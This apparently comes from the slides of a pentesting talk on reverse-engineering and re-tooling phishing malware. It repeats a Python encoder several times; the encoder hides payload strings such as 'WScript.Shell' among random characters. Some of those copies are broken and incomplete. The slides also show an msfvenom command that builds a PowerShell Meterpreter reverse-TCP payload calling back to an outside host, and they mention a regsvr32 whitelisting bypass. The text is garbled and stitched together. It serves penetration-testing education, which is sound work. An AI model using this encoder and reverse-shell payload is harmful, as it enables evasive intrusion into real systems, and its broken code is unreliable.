    # The characters left in AllChars are now our KeyString
    # create blank string variable EncodedPayload
    # For each character in the PayloadToEncode...
    # PREPEND the character AND a randomly-selected character from the KeyString to EncodedPayload
    # return EncodedPayload and KeyString
    return {"encoded_payload": "", "key_string": ""}
# TO DECODE:
# 'Function takes 2 strings as arguments, and returns 1 string
#   ' For each character in the ContentString...
#   ' Get the current character...
#   ' If the current character is NOT in the KeyString, then...
#   ' PREPEND the current character to the DecodedString

# TO ENCODE:
# Function takes 1 string as argument, and returns 2 strings

def encode_payload(payload):
    # create AllChars (a list of all characters)...
    ascii_chars = [chr(i) for i in xrange(32, 127)]

    # For each character in the PayloadToEncode...
    for c in payload:
        # Remove the character from the AllChars list
        try:
            ascii_chars.remove(c)
        except:
            pass

    # Now AllChars ONLY contains characters that are NOT in our PayloadToEncode

    # The characters left in AllChars are now our KeyString
    key_string = ''.join(ascii_chars)

    # create blank string variable EncodedPayload
    # For each character in the PayloadToEncode...
    #   PREPEND the character AND a randomly-selected character from the KeyString to EncodedPayload
    # return EncodedPayload and KeyString
    return {"encoded_payload": ", "key_string": ""}
# TO DECODE:
# 'Function takes 2 strings as arguments, and returns 1 string
# ' For each character in the ContentString...
# ' Get the current character...
# ' If the current character is NOT in the KeyString, then...
# ' PREPEND the current character to the DecodedString

# TO ENCODE:
# Function takes 1 string as argument, and returns 2 strings
def encode_payload(payload):
    # create AllChars (a list of all characters)...
    ascii_chars = [chr(i) for i in xrange(32, 127)]

    # For each character in the PayloadToEncode...
    for c in payload:
        # Remove the character from the AllChars list
        try:
            ascii_chars.remove(c)
        except:
            pass

    # Now AllChars ONLY contains characters that are NOT in our PayloadToEncode

    # The characters left in AllChars are now our KeyString
    key_string = ''.join(ascii_chars)

    # create blank string variable EncodedPayload
    encoded = ""

    # For each character in the PayloadToEncode...
    # PREPEND the character AND a randomly-selected character from the KeyString to EncodedPayload
    # return EncodedPayload and KeyString
    return{"encoded_payload": "", "key_string": ""}
import random

# TO CODE:
# 'Function takes 2 strings as arguments, and returns 1 string
#   For each character in the ContentString...
#     ' Get the current character...
#     ' If the current character is NOT in the KeyString, then...
#     ' PREPEND the current character to the DecodedString

# TO CODE:
# 'Function takes 1 string as argument, and returns 2 strings

def encode_payload(payload):
    # create AllChars (a list of all characters)...
    ascii_chars = [chr(i) for i in xrange(32, 127)]

    # For each character in the PayloadToEncode...
    for c in payload:
        # Remove the character from the AllChars list
        try:
            ascii_chars.remove(c)
        except:
            pass

    # Now AllChars ONLY contains characters that are NOT in our PayloadToEncode

    # The characters left in AllChars are now our KeyString
    key_string = "".join(ascii_chars)

    # create blank string variable EncodedPayload
    encoded = ""

    # For each character in the PayloadToEncode...
    for c in payload:
        # PREPEND the character AND a randomly-selected character from the KeyString to EncodedPayload
        encoded = random.choice(key_string) + c + encoded

    # return EncodedPayload and KeyString
    return {"encoded_payload": "", "key_string": ""}
```python
import random

# TO DECODE:
# Function takes 2 strings as arguments, and returns 1 string
#   ' For each character in the ContentString...
#   ' Get the current character...
#   ' If the current character is NOT in the KeyString, then...
#   '  PREPEND the current character to the DecodedString

# TO ENCODE:
# Function takes 1 string as argument, and returns 2 strings

def encode_payload(payload):
    # create AllChars (a list of all characters)...
    ascii_chars = [chr(i) for i in xrange(32, 127)]

    # For each character in the PayloadToEncode...
    for c in payload:
        # Remove the character from the AllChars list
        try:
            ascii_chars.remove(c)
        except:
            pass

    # Now AllChars ONLY contains characters that are NOT in our PayloadToEncode

    # The characters left in AllChars are now our KeyString
    key_string = ''.join(ascii_chars)

    # create blank string variable EncodedPayload
    encoded = ''

    # For each character in the PayloadToEncode...
    for c in payload:
        # PREPEND the character AND a randomly-selected character from the KeyString to EncodedPayload
        encoded = random.choice(key_string) + c + encoded

    # return EncodedPayload and KeyString
    return {'encoded_payload': encoded, 'key_string': key_string}
```
```python
ascii_chars.remove(c)

except:
    pass

# Now AllChars ONLY contains characters that are NOT in our PayloadToEncode

# The characters left in AllChars are now our KeyString
key_string = "".join(ascii_chars)

# create blank string variable EncodedPayload
encoded = ""

# For each character in the PayloadToEncode...
for c in payload:
    # PREPEND the character AND a randomly-selected character from the KeyString to EncodedPayload
    encoded = random.choice(key_string) + c + encoded

# return EncodedPayload and KeyString
return{"encoded_payload": encoded, "key_string": key_string}

test = encode_payload("WScript.Shell")
print("\nencoded_payload: \t{} \nkey_string: \t{} \n".format(test["encoded_payload"], test["key_string"]))
```

```
encoded_payload: ql^lveyh<Sz.ztvp-i|ruc"SNW
key_string: !"#$&'()*,/0123456789;<=?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\`\_\`\abcdgjkjmnoqsuxwyz{||~
```
Test it!
```python
print(decode_payload("lgl2eFvhwGSb5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wggkxRv") + "\n")

print(decode_payload("K VGcv-jx Xs9Xsqap9X9yvb CfprRe-LR 40pYTmnn-1m GYnzedRdm2iB8h zXDwUB- Y6lkUleFmh9FEYs6re", "Y6lkUleFmh9FEYs6re"))
```

```
print(decode_payload("LqfB$q(HcveUxEOB.4Kkv)lxUHlBehMJSkL.tRXpVHir3UL0cS7H0WzB m4XJ6ocJZ-B XqtVcke05jY8BkB7q", "MJSkL.tRXpVHir3UL0cS7H0WzB m4XJ6ocJZ-B XqtVcke05jY8BkB7q"))
```
Redeploying with Meterpreter & PowerShell

- Replace Calc.exe with Meterpreter (or whatever)
- All-In-Memory Payload (file-less)
- Execute from command line
Mete/Pwrshel Attack Diagram
root@kali:~$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.1.20 LPORT=4444 --platform windows -a x86 -f psh-cmd

Starting reverse TCP handler on 10.10.1.20:4444

Payload execution success

HAPPY DANCE!
Are you on the list?

CMD
Powershell
Wscript
Cscript

MS - Signed ONLY!
calc.exe?

80

wrangling malware for fun and pentesting

About 50 results (0.23 seconds)

Wrangling Malware for Fun and Pentesting - YouTube
https://www.youtube.com/watch?v=RAjW7PVGaM
Sep 28, 2017 - Uploaded by Belligerent Security
As a pentester, we're always looking for ways to crack the perimeter and establish a foot hold. But we're ...

A CLIFFHANGER
Re-cap

• Phishing attack
  – Delivery
  – Staging
  – Payload?
Re-cap

• De-obfuscated the payload
• Reverse engineered the encoding
• Created an encoder
Re-cap

- Added a encoded Powershell Meterpreter
- Re-tooled to Bypassed Whitelisting with `regsvr32`